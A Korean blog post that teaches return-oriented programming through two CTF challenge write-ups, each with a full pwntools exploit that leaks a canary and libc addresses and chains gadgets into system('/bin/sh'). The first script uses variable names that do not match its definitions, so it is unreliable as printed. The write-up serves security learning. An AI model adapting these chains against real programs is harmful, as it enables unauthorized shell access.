ROP : Return oriented programming

shrew·2025년 2월 4일

Return oriented programming

Concept

프로그램의 코드영역에 존재하는 가젯들을 모아서 공격자가 원하는 기능을 수행하도록 하는 코드 재사용 기법이다. 또한, 다양한 공격 기법을 ROP를 사용해 연계할 수 있다.

실습1

Example code

$ checksec rop
[*] '/mnt/c/Users/pdh/Desktop/ROP/rop'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie

#include <stdio.h>
#include <unistd.h>

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Leak canary
  puts("[1] Leak Canary");
  write(1, "Buf: ", 5);
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Do ROP
  puts("[2] Input ROP payload");
  write(1, "Buf: ", 5);
  read(0, buf, 0x100);

  return 0;
}

위 코드는 위는 Dreamhack - rop 문제에서 제공하는 'rop.c' 코드이다. 먼저 이 문제를 분석해보자.

  1. 'buf' 변수가 0x30 크기로 정의되어 있으나 입력받을 때는 0x100 크기로 입력 받는다. 즉, 버퍼 오버플로우 취약점이 있다.
  2. Dreamhack - Return to Library 문제에서는 코드 내에 system 함수를 호출하는 부분과 '/bin/sh'를 정의하는 전역 변수가 포함되어 있었으나 Dreamhack - rop 문제에는 해당 부분이 빠져있다. 따라서 다른 곳에서 system 함수 주소와 '/bin/sh' 문자열을 가져와야 한다.
  3. 'rop.elf' 파일과 'rop.c' 파일을 제외하고 'libc.so.6' 라이브러리 파일을 추가로 제공하고 있다.
  4. Partial RELRO로 설정되어 있다. 즉, GOT overwrite가 가능하다.

문제 코드를 봤을 때 'binsh' 전역 변수와 system 함수 호출을 제외하면 코드 자체는 Dreamhack - Return to Library 문제와 거의 같았다. 위에서 ROP 기법을 '가젯들을 모아서 공격자가 원하는 기능을 수행하도록 하는 기법' 이라고 설명했다. 따라서 우리는 우리가 원하는 기능을 수행할 가젯들을 찾아내야 한다.

  1. 버퍼 오버플로우를 일으킨다.
  2. 카나리 보호 기법을 우회한다.
  3. read@got 함수 주소를 알아낸다.
  4. read@got 함수를 system 함수 주소로 덮어 씌운다.
  5. 인자로 '/bin/sh'를 넣어서 system 함수를 실행시킨다.

셸을 따는 과정은 위와 같다.
카나리 릭은 이전 RTL 포스트와 딱히 다르지 않기 때문에 해당 포스트를 참고하도록 하자. 문제 코드에서 read 함수와 write 함수를 사용하고 있기 때문에 이를 이용하여 필요한 가젯과 함수 주소를 알아낼 것이다.
먼저 우리는 read@got 함수 주소를 알아내야 한다.

GOT(Global Offset Table)와 PLT(Procedure Linkage Table)에 대해서는 나중에 따로 다룰 예정인데 일단 이 포스팅에서는 그냥 PLT는 코드 영역, GOT는 데이터 영역에 존재하며 함수의 실제 주소를 저장한다고 보면 된다. 즉, 함수를 실행시키려면 PLT 주소를, 기존 함수의 주소를 바꾸려면 GOT 주소가 필요하다는 뜻이다.

현재 문제 파일에는 PIE가 설정되어 있지 않기 때문에 함수의 PLT 주소는 몇 번을 실행해도 바뀌지 않을 것이다. 하지만 외부 라이브러리(libc 파일)에서 함수를 가져와서 사용하고 있기 때문에 ASLR 보호 기법에 의해 함수의 GOT 주소는 실행할 때마다 변경되게 된다. 그러니 우리는 PLT 주소는 오프셋 그대로 사용하고, GOT 주소는 따로 페이로드 실행 후 구해줄 것이다.

Exploit code

$ ROPgadget --binary ./rop --re "pop rdi"
Gadgets information
============================================================
0x0000000000400853 : pop rdi ; ret
P$ ROPgadget --binary ./rop --re "ret"
Gadgets information
============================================================
0x0000000000400596 : ret
$ ROPgadget --binary ./rop --re "pop rsi"
Gadgets information
============================================================
0x0000000000400851 : pop rsi ; pop r15 ; ret
from pwn import *

p = remote('서버명', 포트 번호)
e = ELF('./rop')
libc = ELF('./libc.so.6')

#Canary leak
buf = b'A' * 57
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
cnry = u64(b'\x00' + p.recvn(7))

#가젯 정리
write_plt = e.plt['write']
write_got = e.got['write']
read_plt = e.plt['read']
read_got = e.got['read']
pop_rdi = 0x0000000000400853
ret = 0x0000000000400596
pop_rsi_r15 = 0x0000000000400851

#dummy + canary + padding(원래 SFP 주소)
payload = b'A' * 56 + p64(cnry) + b'B' * 8

#'write(1, got_read, 임의 값)' 실행
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(got_read) + p64(0)
payload += p64(plt_write)

#'read(0, got_read, 임의 값)' 실행
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(got_read) + p64(0)
payload += p64(plt_read)

#'system('/bin/sh\x00')' 실행
payload += p64(pop_rdi)
payload += p64(got_read + 8)
payload += p64(ret)
payload += p64(plt_read)

p.sendafter(b'Buf: ', payload)

#'write(1, got_read, 임의 값)' 실행 후 read 함수의 GOT 주소를 받아오는 부분
read = u64(p.recvn(6) + b'\x00' * 2)

#libc 베이스 주소 계산(ASLR 우회)
base = read - libc.symbols['read']

#system 함수 주소 계산
system = base + libc.symbols['system']

#'read(0, got_read, 임의 값)'에서 입력 값을 받을 때 보내지는 부분
#system address(got_read) + '/bin/sh\x00'(got_read+8)
p.send(p64(system) + b'/bin/sh\x00')

p.interactive()

실행 순서는 아래와 같다.

  1. dummy + canary + padding(원래 SFP 주소)
  2. write(1, got_read, 임의 값) 실행
  3. read(0, got_read, 임의 값) 실행
  4. 'system address'(got_read) + '/bin/sh\x00'(got_read+8) 입력
  5. system('/bin/sh\x00') 실행

이 문제는 ROP 기법과 GOT overwrite 공격을 함께 사용해서 셸을 따는 문제 예시이다.

실습2

이 문제는 대학 선배에게 받은 ROP 관련 문제이다. 이것도 한 번 풀어보자.

Example code

$ checksec chall
[*] '/mnt/c/Users/pdh/Desktop/ROP/rop_ex/stuff/chall'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
int __fastcall main(int argc, const char **argv, const char **envp)
{
  char nbytes[72]; // [rsp+Ch] [rbp-54h] BYREF
  unsigned __int64 v5; // [rsp+58h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  setbuf(_bss_start, 0LL);
  setbuf(stdin, 0LL);
  while ( 1 )
  {
    puts("How much???");
    __isoc99_scanf("%u", nbytes);
    puts("ok... now send content");
    read(0, &nbytes[4], *(unsigned int *)nbytes);
    nbytes[*(unsigned int *)nbytes + 4] = 0;
    puts(&nbytes[4]);
    puts("wanna do it again?");
    __isoc99_scanf("%u", nbytes);
    if ( *(_DWORD *)nbytes != 1337 )
      break;
    puts("i knew it");
  }
  return 0;
}

먼저, C코드는 따로 없어서 IDA를 사용하여 C코드를 확인해 준다. 이 코드를 보면 입력 크기를 먼저 입력 받고, 그 안에 내용을 입력 받는 행동을 조건문에 부합할 때까지 무한 반복하는 코드이다. 이 코드를 어떻게 사용할 지 분석해 보자.

  1. 'nbytes' 변수의 크기가 72bytes로 정의되어 있지만 read(0, &nbytes[4], *(unsigned int *)nbytes); 이 부분에서 입력받을 값의 크기를 사용자가 지정할 수 있으며, 그 값을 제한하지 않아 버퍼 오버플로우를 일으킨다.
  2. 조건문을 만족시킨다면 코드를 반복해서 실행시킬 수 있다.
  3. 공유 라이브러리 함수를 사용 중이다.

위를 바탕으로 어떻게 셸을 딸 지 고민해 보자. 일단 코드를 봤을 때, system 함수를 사용하지 않고 있다. 즉, 우리는

  1. 카나리 값을 알아낸다.
  2. 'nbytes'에 1337을 넣어서 코드를 재실행 한다.
  3. 라이브러리 베이스 주소를 알아낸다.
  4. 'nbytes'에 1337을 넣어서 코드를 재실행 한다.
  5. 찾은 라이브러리 베이스 주소를 바탕으로 필요한 가젯 주소를 계산한다.
  6. system 함수를 실행시켜서 셸을 딴다.
$ ROPgadget --binary ./chall --re "pop rdi"
Gadgets information
============================================================

Unique gadgets found: 0
$ ROPgadget --binary ./chall --re "pop rsi"
Gadgets information
============================================================

Unique gadgets found: 0

위를 보면 아쉽게도 필요한 가젯들이 문제 파일에는 존재하지 않아서 라이브러리 파일에서 찾아오도록 하자.

$ ldd ./chall
        linux-vdso.so.1 (0x00007ffc78993000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f2c99476000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f2c996b7000)

위처럼 ldd 명령어를 사용하면 해당 파일이 사용하는 공유 라이브러리의 목록과 경로 및 메모리 주소를 볼 수 있다. 이제 해당 파일에서 가젯을 찾아주면 된다. 그러기 위해선 우린 라이브러리의 베이스 주소를 알아내야 한다. 해당 베이스 주소를 찾아내는 방법을 알아보자.

먼저, gdb에서 read(0, &nbytes[4], *(unsigned int *)nbytes); 부분에 브레이크 포인트를 걸고 알아낼 수 있는 libc 주소를 찾아야 한다.

gef➤  x/100gx $rsp
0x7fffffffdbf0: 0x0000555555554040      0x00000064f7fe283c
0x7fffffffdc00: 0x4141414141414141      0x4141414141414141
0x7fffffffdc10: 0x4141414141414141      0x0a41414141414141
0x7fffffffdc20: 0x0000000000000002      0x000000001f8bfbff
0x7fffffffdc30: 0x00007fffffffdfe9      0x0000000000000064
0x7fffffffdc40: 0x0000000000001000      0x2e2cd6548207ab00
0x7fffffffdc50: 0x0000000000000001      0x00007ffff7daad90
...

일단 대충 'A'를 여러 개 입력해주고 rsp 레지스터를 확인해 줬다. 'A'가 들어간 부분 뒤 쪽을 확인해보면 '0x00007ffff7daad90'라는 뭔가 libc 주소일 것 같은 의심스러운 주소를 볼 수 있다.

gef➤  vmmap 0x00007ffff7daad90
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x00007ffff7da9000 0x00007ffff7f3e000 0x0000000000028000 r-x /usr/lib/x86_64-linux-gnu/libc.so.6

vmmap으로 확인해보니 libc 함수 주소인 걸 알 수 있다. 이 주소를 카나리 릭 하듯이 릭해주고, 해당 주소 값에서 오프셋을 빼주면 베이스 주소를 구할 수 있다.

gef➤  vmmap
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x00007ffff7d81000 0x00007ffff7da9000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc.so.6

vmmap 명령어로 libc 파일이 로드된 시작 주소를 알아내고, 거기서 프로그램 실행 전 libc 주소를 빼면 오프셋을 알 수 있다.
즉, 오프셋 값은 '0x00007ffff7daad90 - 0x00007ffff7da9000 = 0x29d90'이므로 '0x29d90' 이다.

Exploit code

$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --re "pop rdi"
Gadgets information
============================================================
0x000000000002a3e5 : pop rdi ; ret
$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --re "ret"
Gadgets information
============================================================
0x0000000000029139 : ret
$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep " system"
  1481: 0000000000050d70    45 FUNC    WEAK   DEFAULT   15 system@@GLIBC_2.2.5

```python
from pwn import *

p = process('./chall')
e = ELF('./chall')
r = ROP(e)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

#카나리 릭
buf = b'A'*73
p.sendlineafter(b'How much???', b'100')
p.sendafter(b'ok... now send content', buf)
p.recvuntil(buf)

cnry = u64(b'\00' + p.recvn(7))

#다시 시작
p.sendlineafter(b'wanna do it again?', b'1337')

#libc 주소 릭
payload1 = b'A' * 72 + b'B' * 16
p.sendlineafter(b'How much???', b'100')
p.sendafter(b'ok... now send content', payload1)
p.recvuntil(payload1)

addr = u64(p.recvn(6) + b'\00' * 2)
libc_base = addr - 0x29d90
print(hex(addr))

#다시 시작
p.sendlineafter(b'wanna do it again?', b'1337')

#가젯 찾기
pop_rdi = libc_base + 0x2a3e5
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b"/bin/sh"))
ret = libc_base + 0x29139

payload2 = b'A' * 72 + p64(cnry) + b'B' * 8
payload2 += p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system)

p.sendlineafter(b'How much???', b'200')
p.sendafter(b'ok... now send content', payload2)

p.sendlineafter(b'wanna do it again?', b'0')


p.interactive()

이 문제는 ROP 기법과 RTL 기법이 함께 쓰인 예시라고도 볼 수 있다. 사실 필자는 RTL과 ROP가 완전히 다른 기법이라고 생각하지 않기는 하다..

profile
보안 공부 로그

0개의 댓글